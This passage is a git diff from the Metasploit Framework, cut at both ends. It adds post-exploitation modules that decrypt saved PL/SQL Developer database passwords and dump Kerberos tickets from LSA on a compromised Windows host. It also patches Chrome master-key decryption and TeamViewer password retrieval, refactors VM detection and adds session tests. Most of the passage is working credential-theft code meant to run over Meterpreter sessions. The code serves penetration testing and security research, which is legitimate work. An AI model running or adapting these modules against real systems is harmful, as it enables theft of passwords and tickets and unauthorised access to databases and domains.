HKLM\\HARDWARE\\ACPI\\RSDT].each do |key| - srvvals = registry_enumkeys(key) - return true if srvvals && srvvals.include?('Xen') - end + return true if key_present?('Xen') - %w[xenevtchn xennet xennet6 xensvc xenvdb].each do |service| - return true if service_exists?(service) - end - - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS', 'SystemProductName') =~ /xen/i + return true if @system_product_name =~ /xen/i false end def qemu? - key_path = 'HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0' - return true if get_regval_str(key_path, 'Identifier') =~ /qemu|virtio/i - - key_path = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0' - return true if get_regval_str(key_path, 'ProcessorNameString') =~ /qemu/i - - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'SystemBiosVersion') =~ /qemu/i - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'VideoBiosVersion') =~ /qemu/i - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS', 'SystemManufacturer') =~ /qemu/i - - %w[HKLM\\HARDWARE\\ACPI\\DSDT HKLM\\HARDWARE\\ACPI\\FADT HKLM\\HARDWARE\\ACPI\\RSDT].each do |key| - srvvals = registry_enumkeys(key) - return true if srvvals && srvvals.include?('BOCHS_') + if @system_bios_version =~ /qemu/i || @video_bios_version =~ /qemu/i + return true end - false - end - - def parallels? - bios_version = get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'SystemBiosVersion') - if bios_version.kind_of?(Array) - bios_version = bios_version.join + if @scsi_port_0 =~ /qemu|virtio/i || @system_manufacturer =~ /qemu/i + return true end - return true if bios_version =~ /parallels/i - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'VideoBiosVersion') =~ /parallels/i + + return true if regval_match?( + 'HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0', + 'ProcessorNameString', + /qemu/i + ) + + return true if key_present?('BOCHS_') false end @@ -221,6 +280,11 @@ class MetasploitModule < Msf::Post def run print_status('Checking if the target is a Virtual Machine ...') + @processes = get_processes + @processes = [] if @processes.nil? + + @services = registry_enumkeys('HKLM\\SYSTEM\\ControlSet001\\Services') + @services = [] if @services.nil? if parallels? report_vm('Parallels') diff --git a/modules/post/windows/gather/credentials/plsql_developer.rb b/modules/post/windows/gather/credentials/plsql_developer.rb new file mode 100644 index 0000000000..40871ba29a --- /dev/null +++ b/modules/post/windows/gather/credentials/plsql_developer.rb @@ -0,0 +1,279 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::UserProfiles + include Msf::Post::File + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Gather PL/SQL Developer Connection Credentials', + 'Description' => %q{ + This module can decrypt the histories and connection credentials of PL/SQL Developer, + and passwords are available if the user chooses to remember. + }, + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/'] + ], + 'Author' => [ + 'Adam Caudill', # Discovery of legacy decryption algorithm + 'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_fs_ls + stdapi_fs_separator + stdapi_fs_stat + ] + } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']), + ] + ) + end + + def decrypt_str_legacy(str) + result = '' + key = str[0..3].to_i + for i in 1..(str.length / 4 - 1) do + n = str[(i * 4)..(i * 4 + 3)].to_i + result << (((n - 1000) ^ (key + i * 10)) >> 4).chr + end + return result + end + + # New AES encryption algorithm introduced since PL/SQL Developer 15.0 + def decrypt_str_aes(str) + bytes = Rex::Text.decode_base64(str) + + cipher = OpenSSL::Cipher.new('aes-256-cfb8') + cipher.decrypt + hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x') + cipher.key = hash + hash[0..11] + cipher.iv = bytes[0..7] + "\x00" * 8 + + return cipher.update(bytes[8..]) + cipher.final + end + + def decrypt_str(str) + # Empty string + if str == '' + return '' + end + + if str.match(/^(\d{4})+$/) + return decrypt_str_legacy(str) # Legacy encryption + elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$}) + return decrypt_str_aes(str[2..]) # New AES encryption + end + + # Shouldn't reach here + print_error("Unknown encryption format: #{str}") + return '[Unknown]' + end + + # Parse and separate the history string + def parse_history(str) + # @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined + result = Hash[@keys.map { |k| [k.to_sym, ''] }] + result[:Parent] = '-2' + + if str.end_with?(' AS SYSDBA') + result[:ConnectAs] = 'SYSDBA' + str = str[0..-11] + elsif str.end_with?(' AS SYSOPER') + result[:ConnectAs] = 'SYSOPER' + str = str[0..-12] + else + result[:ConnectAs] = 'Normal' + end + + # Database should be the last part after '@' sign + ind = str.rindex('@') + if ind.nil? + # Unexpected format, just use the whole string as DisplayName + result[:DisplayName] = str + return result + end + + result[:Database] = str[(ind + 1)..] + str = str[0..(ind - 1)] + + unless str.count('/') == 1 + # Unexpected format, just use the whole string as DisplayName + result[:DisplayName] = str + return result + end + + result[:Username] = str[0..(str.index('/') - 1)] + result[:Password] = str[(str.index('/') + 1)..] + + return result + end + + def decrypt_pref(file_name) + file_contents = read_file(file_name) + if file_contents.nil? || file_contents.empty? + print_status "Skipping empty file: #{file_name}" + return [] + end + + print_status("Decrypting #{file_name}") + result = [] + + logon_history_section = false + connections_section = false + + # Keys that we care about + @keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password] + # Initialize obj with empty values + obj = Hash[@keys.map { |k| [k.to_sym, ''] }] + # Folder parent objects + folders = {} + + file_contents.split("\n").each do |line| + line.gsub!(/(\n|\r)/, '') + + if line == '[LogonHistory]' && !(logon_history_section || connections_section) + logon_history_section = true + next + elsif line == '[Connections]' && !(logon_history_section || connections_section) + connections_section = true + next + elsif line == '' + logon_history_section = false + connections_section = false + next + end + + if logon_history_section + # Contents in [LogonHistory] section are plain encrypted strings + # Calling the legacy decrypt function is intentional here + result << parse_history(decrypt_str_legacy(line)) + elsif connections_section + # Contents in [Connections] section are key-value pairs + ind = line.index('=') + if ind.nil? + print_error("Invalid line: #{line}") + next + end + + key = line[0..(ind - 1)] + value = line[(ind + 1)..] + + if key == 'Password' + obj[:Password] = decrypt_str(value) + elsif obj.key?(key.to_sym) + obj[key.to_sym] = value + end + + # Color is the last field of a connection + if key == 'Color' + if obj[:IsFolder] != '1' + result << obj + else + folders[obj[:Number]] = obj + end + + # Reset obj + obj = Hash[@keys.map { |k| [k.to_sym, ''] }] + end + + end + end + + # Build display name (Add parent folder name to the beginning of the display name) + result.each do |item| + pitem = item + while pitem[:Parent] != '-1' && pitem[:Parent] != '-2' + pitem = folders[pitem[:Parent]] + if pitem.nil? + print_error("Invalid parent: #{item[:Parent]}") + break + end + item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName] + end + + if item[:Parent] == '-2' + item[:DisplayName] = '[LogonHistory]' + item[:DisplayName] + else + item[:DisplayName] = '[Connections]/' + item[:DisplayName] + end + + # Remove fields used to build the display name + item.delete(:Parent) + item.delete(:Number) + item.delete(:IsFolder) + + # Add file path to the final result + item[:FilePath] = file_name + end + + return result + end + + def enumerate_pref(plsql_path) + result = [] + pref_dir = plsql_path + session.fs.file.separator + 'Preferences' + session.fs.dir.entries(pref_dir).each do |username| + udir = pref_dir + session.fs.file.separator + username + file_name = udir + session.fs.file.separator + 'user.prefs' + + result << file_name if directory?(udir) && file?(file_name) + end + + return result + end + + def run + print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}") + profiles = grab_user_profiles + pref_paths = [] + + profiles.each do |user_profiles| + session.fs.dir.entries(user_profiles['AppData']).each do |dirname| + if dirname.start_with?('PLSQL Developer') + search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname + pref_paths += enumerate_pref(search_dir) + end + end + end + pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present? + + result = [] + pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) } + + tbl = Rex::Text::Table.new( + 'Header' => 'PL/SQL Developer Histories and Credentials', + 'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath'] + ) + + result.each do |item| + tbl << item.values + end + + print_line(tbl.to_s) + # Only save data to disk when there's something in the table + if tbl.rows.count > 0 + path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials') + print_good("Passwords stored in: #{path}") + end + end +end diff --git a/modules/post/windows/gather/credentials/teamviewer_passwords.rb b/modules/post/windows/gather/credentials/teamviewer_passwords.rb index 276d7f5407..535d1eaf2c 100644 --- a/modules/post/windows/gather/credentials/teamviewer_passwords.rb +++ b/modules/post/windows/gather/credentials/teamviewer_passwords.rb @@ -135,9 +135,7 @@ class MetasploitModule < Msf::Post addr = session.railgun.util.alloc_and_write_wstring('Kali-Team') client.railgun.user32.SendMessageW(window_hwnd, 'WM_GETTEXT', 1024, addr) text = session.railgun.util.read_wstring(addr) - client.railgun.multi([ - ['kernel32', 'VirtualFree', [addr, 0, MEM_RELEASE]], - ]) + session.railgun.util.free_data(addr) if text.strip == '' return nil else diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index 568617182b..6e7e169425 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -128,33 +128,31 @@ class MetasploitModule < Msf::Post end def decrypt_data(data) - memsize = 1024 * ((data.length + 1023) / 1024) - mem_alloc = session.railgun.kernel32.LocalAlloc(0, data.length) - mem = mem_alloc['return'] + mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return'] + return nil if mem == 0 + session.railgun.memwrite(mem, data, data.length) - if session.arch == 'x86' - addr = [mem].pack('V') - len = [data.length].pack('V') - pdatain = "#{len}#{addr}".force_encoding('ascii') - ret = session.railgun.crypt32.CryptUnprotectData(pdatain, 16, nil, nil, nil, 0, 8) - len, addr = ret['pDataOut'].unpack('V2') + if session.arch == ARCH_X86 + inout_fmt = 'V2' + elsif session.arch == ARCH_X64 + inout_fmt = 'Q2' else - addr = [mem].pack('Q') - len = [data.length].pack('Q') - pdatain = "#{len}#{addr}".force_encoding('ascii') - ret = session.railgun.crypt32.CryptUnprotectData(pdatain, 16, nil, nil, nil, 0, 16) - len, addr = ret['pDataOut'].unpack('Q2') + fail_with(Failure::NoTarget, "Session architecture must be either x86 or x64.") end - return nil if len == 0 + pdatain = [data.length, mem].pack(inout_fmt) + ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length) + len, addr = ret['pDataOut'].unpack(inout_fmt) - decrypted = session.railgun.memread(addr, len) + decrypted = len == 0 ? nil : session.railgun.memread(addr, len) - session.railgun.kernel32.LocalFree(mem) - session.railgun.kernel32.LocalFree(addr) + multi_rail = [] + multi_rail << ['kernel32', 'LocalFree', [mem]] + multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0 + session.railgun.multi(multi_rail) - return decrypted + decrypted end def process_files(username) @@ -197,7 +195,7 @@ class MetasploitModule < Msf::Post local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State' masterkey_encrypted = get_master_key(local_state_path) masterkey = decrypt_data(masterkey_encrypted[5..]) - print_good('Found masterkey!') + print_good('Found masterkey!') if masterkey end cipher = OpenSSL::Cipher.new('aes-256-gcm') diff --git a/modules/post/windows/manage/kerberos_tickets.rb b/modules/post/windows/manage/kerberos_tickets.rb new file mode 100644 index 0000000000..db0ae13738 --- /dev/null +++ b/modules/post/windows/manage/kerberos_tickets.rb @@ -0,0 +1,347 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/kerberos/model/kerberos_flags' +require 'rex/proto/kerberos/model/ticket_flags' +require 'rex/proto/ms_dtyp' + +class MetasploitModule < Msf::Post + include Msf::Post::Process + include Msf::Post::Windows::Lsa + include Msf::Exploit::Remote::Kerberos::Ticket + + CURRENT_PROCESS = -1 + CURRENT_THREAD = -2 + + # https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-security_logon_type + SECURITY_LOGON_TYPE = { + 0 => 'UndefinedLogonType', + 2 => 'Interactive', + 3 => 'Network', + 4 => 'Batch', + 5 => 'Service', + 6 => 'Proxy', + 7 => 'Unlock', + 8 => 'NetworkCleartext', + 9 => 'NewCredentials', + 10 => 'RemoteInteractive', + 11 => 'CachedInteractive', + 12 => 'CachedRemoteInteractive', + 13 => 'CachedUnlock' + }.freeze + # https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-kerb_protocol_message_type + KERB_RETRIEVE_ENCODED_TICKET_MESSAGE = 8 + KERB_QUERY_TICKET_CACHE_EX_MESSAGE = 14 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kerberos Ticket Management', + 'Description' => %q{ + Manage kerberos tickets on a compromised host. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Will Schroeder', # original idea/research + 'Spencer McIntyre' + ], + 'References' => [ + [ 'URL', 'https://github.com/GhostPack/Rubeus' ], + [ 'URL', 'https://github.com/wavvs/nanorobeus' ] + ], + 'Platform' => ['win'], + 'SessionTypes' => %w[meterpreter], + 'Actions' => [ + ['DUMP_TICKETS', { 'Description' => 'Dump the Kerberos tickets' }], + ['ENUM_LUIDS', { 'Description' => 'Enumerate session logon LUIDs' }], + ['SHOW_LUID', { 'Description' => 'Show the current LUID' }], + ], + 'DefaultAction' => 'DUMP_TICKETS', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + }, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_net_resolve_host + stdapi_railgun_api + stdapi_railgun_memread + stdapi_railgun_memwrite + ] + } + } + ) + ) + + register_options([ + OptString.new( + 'LUID', + [false, 'An optional logon session LUID to target'], + conditions: [ 'ACTION', 'in', %w[SHOW_LUID DUMP_TICKETS]], + regex: /^(0x[a-fA-F0-9]{1,16})?$/ + ), + OptString.new( + 'SERVICE', + [false, 'An optional service name wildcard to target (e.g. krbtgt/*)'], + conditions: %w[ACTION == DUMP_TICKETS] + ) + ]) + end + + def run + case session.native_arch + when ARCH_X64 + @ptr_size = 8 + when ARCH_X86 + @ptr_size = 4 + else + fail_with(Failure::NoTarget, "This module does not support #{session.native_arch} sessions.") + end + @hostname_cache = {} + @indent_level = 0 + + send("action_#{action.name.downcase}") + end + + def action_dump_tickets + handle = lsa_register_logon_process + luids = nil + if handle + if target_luid + luids = [ target_luid ] + else + luids = lsa_enumerate_logon_sessions + print_error('Failed to enumerate logon sessions.') if luids.nil? + end + trusted = true + else + handle = lsa_connect_untrusted + # if we can't register a logon process then we can only act on the current LUID so skip enumeration + fail_with(Failure::Unknown, 'Failed to obtain a handle to LSA.') if handle.nil? + trusted = false + end + luids ||= [ get_current_luid ] + + print_status("LSA Handle: 0x#{handle.to_s(16).rjust(@ptr_size * 2, '0')}") + auth_package = lsa_lookup_authentication_package(handle, 'kerberos') + if auth_package.nil? + lsa_deregister_logon_process(handle) + fail_with(Failure::Unknown, 'Failed to lookup the Kerberos authentication package.') + end + + luids.each do |luid| + dump_for_luid(handle, auth_package, luid, null_luid: !trusted) + end + lsa_deregister_logon_process(handle) + end + + def action_enum_luids + current_luid = get_current_luid + luids = lsa_enumerate_logon_sessions + fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil? + + luids.each do |luid| + logon_session_data_ptr = lsa_get_logon_session_data(luid) + unless logon_session_data_ptr + print_status("LogonSession LUID: #{luid}") + next + end + + print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '') + session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value) + end + end + + def action_show_luid + current_luid = get_current_luid + luid = target_luid || current_luid + logon_session_data_ptr = lsa_get_logon_session_data(luid) + return unless logon_session_data_ptr + + print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '') + session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value) + end + + def dump_for_luid(handle, auth_package, luid, null_luid: false) + logon_session_data_ptr = lsa_get_logon_session_data(luid) + return unless logon_session_data_ptr + + print_logon_session_summary(logon_session_data_ptr) + session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value) + + logon_session_data_ptr.contents.logon_id.clear if null_luid + query_tkt_cache_req = KERB_QUERY_TKT_CACHE_REQUEST.new( + message_type: KERB_QUERY_TICKET_CACHE_EX_MESSAGE, + logon_id: logon_session_data_ptr.contents.logon_id + ) + query_tkt_cache_res_ptr = lsa_call_authentication_package(handle, auth_package, query_tkt_cache_req) + if query_tkt_cache_res_ptr + indented_print do + dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr) + end + session.railgun.secur32.LsaFreeReturnBuffer(query_tkt_cache_res_ptr.value) + end + end + + def dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr) + case session.native_arch + when ARCH_X64 + query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x64 + retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x64 + retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x64 + when ARCH_X86 + query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x86 + retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x86 + retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x86 + end + + tkt_cache = query_tkt_cache_response_klass.read(query_tkt_cache_res_ptr.contents) + tkt_cache.tickets.each_with_index do |ticket, index| + server_name = read_lsa_unicode_string(ticket.server_name) + if datastore['SERVICE'].present? && !File.fnmatch?(datastore['SERVICE'], server_name.split('@').first, File::FNM_CASEFOLD | File::FNM_DOTMATCH) + next + end + + server_name_wz = session.railgun.util.str_to_uni_z(server_name) + print_status("Ticket[#{index}]") + indented_print do + retrieve_tkt_req = retrieve_tkt_request_klass.new( + message_type: KERB_RETRIEVE_ENCODED_TICKET_MESSAGE, + logon_id: logon_session_data_ptr.contents.logon_id, cache_options: 8 + ) + ptr = session.railgun.util.alloc_and_write_data(retrieve_tkt_req.to_binary_s + server_name_wz) + next if ptr.nil? + + retrieve_tkt_req.target_name.len = server_name_wz.length - 2 + retrieve_tkt_req.target_name.maximum_len = server_name_wz.length + retrieve_tkt_req.target_name.buffer = ptr + retrieve_tkt_req.num_bytes + session.railgun.memwrite(ptr, retrieve_tkt_req) + retrieve_tkt_res_ptr = lsa_call_authentication_package(handle, auth_package, ptr, submit_buffer_length: retrieve_tkt_req.num_bytes + server_name_wz.length) + session.railgun.util.free_data(ptr) + next if retrieve_tkt_res_ptr.nil? + + retrieve_tkt_res = retrieve_tkt_response_klass.read(retrieve_tkt_res_ptr.contents) + if retrieve_tkt_res.ticket.encoded_ticket != 0 + ticket = kirbi_to_ccache(session.railgun.memread(retrieve_tkt_res.ticket.encoded_ticket, retrieve_tkt_res.ticket.encoded_ticket_size)) + ticket_host = ticket.credentials.first.server.components.last.snapshot + ticket_host = resolve_host(ticket_host) if ticket_host + + Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(ticket.encode) + Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: ticket_host) + presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ticket) + print_line(presenter.present.split("\n").map { |line| " #{print_prefix}#{line}" }.join("\n")) + end + session.railgun.secur32.LsaFreeReturnBuffer(retrieve_tkt_res_ptr.value) + end + end + end + + def target_luid + return nil if datastore['LUID'].blank? + + val = datastore['LUID'].to_i(16) + Rex::Proto::MsDtyp::MsDtypLuid.new( + high_part: (val & 0xffffffff) >> 32, + low_part: (val & 0xffffffff) + ) + end + + def kirbi_to_ccache(input) + krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(input) + Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred) + end + + def get_current_luid + luid = get_token_statistics&.authentication_id + fail_with(Failure::Unknown, 'Failed to obtain the current LUID.') unless luid + luid + end + + def get_token_statistics(token: nil) + if token.nil? + result = session.railgun.advapi32.OpenThreadToken(CURRENT_THREAD, session.railgun.const('TOKEN_QUERY'), false, @ptr_size) + unless result['return'] + error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first + unless error == ::WindowsError::Win32::ERROR_NO_TOKEN + print_error("Failed to open the current thread token. OpenThreadToken failed with: #{error}") + return nil + end + + result = session.railgun.advapi32.OpenProcessToken(CURRENT_PROCESS, session.railgun.const('TOKEN_QUERY'), @ptr_size) + unless result['return'] + error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first + print_error("Failed to open the current process token. OpenProcessToken failed with: #{error}") + return nil + end + end + token = result['TokenHandle'] + end + + result = session.railgun.advapi32.GetTokenInformation(token, 10, TOKEN_STATISTICS.new.num_bytes, TOKEN_STATISTICS.new.num_bytes, @ptr_size) + unless result['return'] + error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first + print_error("Failed to obtain the token information. GetTokenInformation failed with: #{error}") + return nil + end + TOKEN_STATISTICS.read(result['TokenInformation']) + end + + def resolve_host(name) + name = name.dup.downcase # normalize the case since DNS is case insensitive + return @hostname_cache[name] if @hostname_cache.key?(name) + + vprint_status("Resolving hostname: #{name}") + begin + address = session.net.resolve.resolve_host(name)[:ip] + rescue Rex::Post::Meterpreter::RequestError => e + elog("Unable to resolve #{name.inspect}", error: e) + end + @hostname_cache[name] = address + end + + def print_logon_session_summary(logon_session_data_ptr, annotation: nil) + sid = '???' + if datastore['VERBOSE'] && logon_session_data_ptr.contents.psid != 0 + # reading the SID requires 3 railgun calls so only do it in verbose mode to speed things up + # reading the data directly wouldn't be much faster because SIDs are of a variable length + result = session.railgun.advapi32.ConvertSidToStringSidA(logon_session_data_ptr.contents.psid.to_i, @ptr_size) + if result + sid = session.railgun.util.read_string(result['StringSid']) + session.railgun.kernel32.LocalFree(result['StringSid']) + end + end + + print_status("LogonSession LUID: #{logon_session_data_ptr.contents.logon_id} #{annotation}") + indented_print do + print_status("User: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_domain)}\\#{read_lsa_unicode_string(logon_session_data_ptr.contents.user_name)}") + print_status("UserSID: #{sid}") if datastore['VERBOSE'] + print_status("Session: #{logon_session_data_ptr.contents.session}") + print_status("AuthenticationPackage: #{read_lsa_unicode_string(logon_session_data_ptr.contents.authentication_package)}") + print_status("LogonType: #{SECURITY_LOGON_TYPE.fetch(logon_session_data_ptr.contents.logon_type.to_i, '???')} (#{logon_session_data_ptr.contents.logon_type.to_i})") + print_status("LogonTime: #{logon_session_data_ptr.contents.logon_time.to_datetime.localtime}") + print_status("LogonServer: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_server)}") if datastore['VERBOSE'] + print_status("LogonServerDNSDomain: #{read_lsa_unicode_string(logon_session_data_ptr.contents.dns_domain_name)}") if datastore['VERBOSE'] + print_status("UserPrincipalName: #{read_lsa_unicode_string(logon_session_data_ptr.contents.upn)}") if datastore['VERBOSE'] + end + end + + def peer + nil # drop the peer prefix from messages + end + + def indented_print(&block) + @indent_level += 1 + block.call + ensure + @indent_level -= 1 + end + + def print_prefix + super + (' ' * @indent_level.to_i * 2) + end +end diff --git a/msfdb b/msfdb index 58960bace1..6649fd250c 100755 --- a/msfdb +++ b/msfdb @@ -339,6 +339,10 @@ def reinit_db init_db end +def print_webservice_removal_prompt + $stderr.puts "#{'[WARNING]'.red} The remote web service is being removed. Does this impact you? React here: https://github.com/rapid7/metasploit-framework/issues/18439" +end + class WebServicePIDStatus RUNNING = 0 INACTIVE = 1 @@ -1051,6 +1055,9 @@ if $PROGRAM_NAME == __FILE__ prompt_for_deletion(command) if @options[:component] == :all @components.each { |component| + if component == :webservice + 3.times { print_webservice_removal_prompt } + end puts '====================================================================' puts "Running the '#{command}' command for the #{component}:" invoke_command(commands, component.to_sym, command) @@ -1059,6 +1066,9 @@ if $PROGRAM_NAME == __FILE__ } else puts "Running the '#{command}' command for the #{@options[:component]}:" + if @options[:component] == :webservice + 3.times { print_webservice_removal_prompt } + end invoke_command(commands, @options[:component], command) end end diff --git a/spec/lib/metasploit/framework/ssh/platform_spec.rb b/spec/lib/metasploit/framework/ssh/platform_spec.rb new file mode 100644 index 0000000000..9d81bddee7 --- /dev/null +++ b/spec/lib/metasploit/framework/ssh/platform_spec.rb @@ -0,0 +1,17 @@ +require 'spec_helper' +require 'metasploit/framework/ssh/platform' + +RSpec.describe Metasploit::Framework::Ssh::Platform do + describe '.get_platform_from_info' do + [ + { + info: 'uid=197616(vagrant) gid=197121(None) groups=197121(None),11(Authenticated Users),66048(LOCAL),66049(CONSOLE LOGON),4(INTERACTIVE),15(This Organization),545(Users),4095(CurrentSession),544(Administrators),559(Performance Log Users),405504(High Mandatory Level) MSYS_NT-10.0-17763 EC2AMAZ-PDSMQ8L 3.4.9.x86_64 2023-09-15 12:15 UTC x86_64 Msys ', + expected: 'windows' + } + ].each do |test| + it "correctly identifies #{test[:info]} as #{test[:expected]}" do + expect(described_class.get_platform_from_info(test[:info])).to eq(test[:expected]) + end + end + end +end diff --git a/spec/lib/msf/base/sessions/command_shell_spec.rb b/spec/lib/msf/base/sessions/command_shell_spec.rb new file mode 100644 index 0000000000..36130a5702 --- /dev/null +++ b/spec/lib/msf/base/sessions/command_shell_spec.rb @@ -0,0 +1,184 @@ +# frozen_string_literal: true + +require 'spec_helper' + +RSpec.describe Msf::Sessions::CommandShell do + let(:type) { 'shell' } + + describe '.type' do + it 'should have the correct type' do + expect(described_class.type).to eq(type) + end + end + + describe '.can_cleanup_files' do + it 'should be able to cleanup files' do + expect(described_class.can_cleanup_files).to eq(true) + end + end + + context 'when we have a command shell session' do + subject(:command_shell) { described_class.new(nil) } + let(:command_functions) do + %i[help background sessions resource shell download upload source irb pry].map { |command| "cmd_#{command}" } + end + let(:command_help_functions) do + command_functions.map { |command| "#{command}_help" } + end + let(:description) { 'Command shell' } + + describe '#type' do + it 'should have the correct type' do + expect(subject.type).to eq(type) + end + end + + describe '#desc' do + it 'should have the correct description' do + expect(subject.desc).to eq(description) + end + end + + describe '#abort_foreground_supported' do + it 'should not support aborting the process running in the session' do + expect(subject.abort_foreground_supported).to be(true) + end + end + + describe '#shell_init' do + it 'should initialise the shell by default' do + expect(subject.shell_init).to be(true) + end + end + + describe 'Builtin commands' do + %i[background sessions resource shell download upload source irb pry].each do |command| + before(:each) do + allow(subject).to receive("cmd_#{command}_help") + end + + describe "#cmd_#{command}" do + context 'when called with the `-h` argument' do + it 'should call the corresponding help function' do + subject.send("cmd_#{command}", '-h') + expect(subject).to have_received("cmd_#{command}_help") + end + end + + context 'when called with the `--help` argument' do + it 'should call the corresponding help function' do + subject.send("cmd_#{command}", '--help') + expect(subject).to have_received("cmd_#{command}_help") + end + end + end + end + end + + describe '#run_builtin_cmd' do + %i[help background sessions resource shell download upload source irb pry].each do |command| + before(:each) do + allow(subject).to receive("cmd_#{command}") + end + context "when called with `#{command}`" do + it "should call cmd_#{command}" do + subject.run_builtin_cmd(command.to_s, nil) + expect(subject).to have_received("cmd_#{command}") + end + end + end + end + + describe '#run_single' do + before(:each) do + allow(subject).to receive(:run_builtin_cmd) + allow(subject).to receive(:shell_write) + end + %i[help background sessions resource shell download upload source irb pry].each do |command| + context "when called with builtin command `#{command}`" do + it 'should call the builtin function' do + subject.run_single(command.to_s) + expect(subject).to have_received(:run_builtin_cmd) + end + end + end + + context 'when called with a non-builtin command' do + let(:cmd) { 'some_command' } + it 'should write the command to the shell' do + subject.run_single(cmd) + expect(subject).to have_received(:shell_write).with("#{cmd}\n") + end + end + end + + describe '#process_autoruns' do + let(:initial_auto_run_script) { 'initial_auto_run_script' } + let(:auto_run_script) { 'auto_run_script' } + + before(:each) do + allow(subject).to receive(:execute_script) + end + + context 'The datastore is empty' do + let(:datastore) do + Msf::DataStore.new + end + it 'should not execute any script' do + subject.process_autoruns(datastore) + is_expected.not_to have_received(:execute_script) + end + end + + context 'The datastore contains an `InitialAutoRunScript`' do + let(:datastore) do + datastore = Msf::DataStore.new + datastore['InitialAutoRunScript'] = initial_auto_run_script + datastore + end + + it 'should execute the script' do + subject.process_autoruns(datastore) + is_expected.to have_received(:execute_script).with(initial_auto_run_script) + end + end + + context 'The datastore contains an `AutoRunScript`' do + let(:datastore) do + datastore = Msf::DataStore.new + datastore['AutoRunScript'] = auto_run_script + datastore + end + it 'should execute the script' do + subject.process_autoruns(datastore) + is_expected.to have_received(:execute_script).with(auto_run_script) + end + end + + context 'The datastore contains both `InitialAutoRunScript` and `AutoRunScript`' do + let(:datastore) do + datastore = Msf::DataStore.new + datastore['InitialAutoRunScript'] = initial_auto_run_script + datastore['AutoRunScript'] = auto_run_script + datastore + end + it 'should execute initial script before the auto run script' do + subject.process_autoruns(datastore) 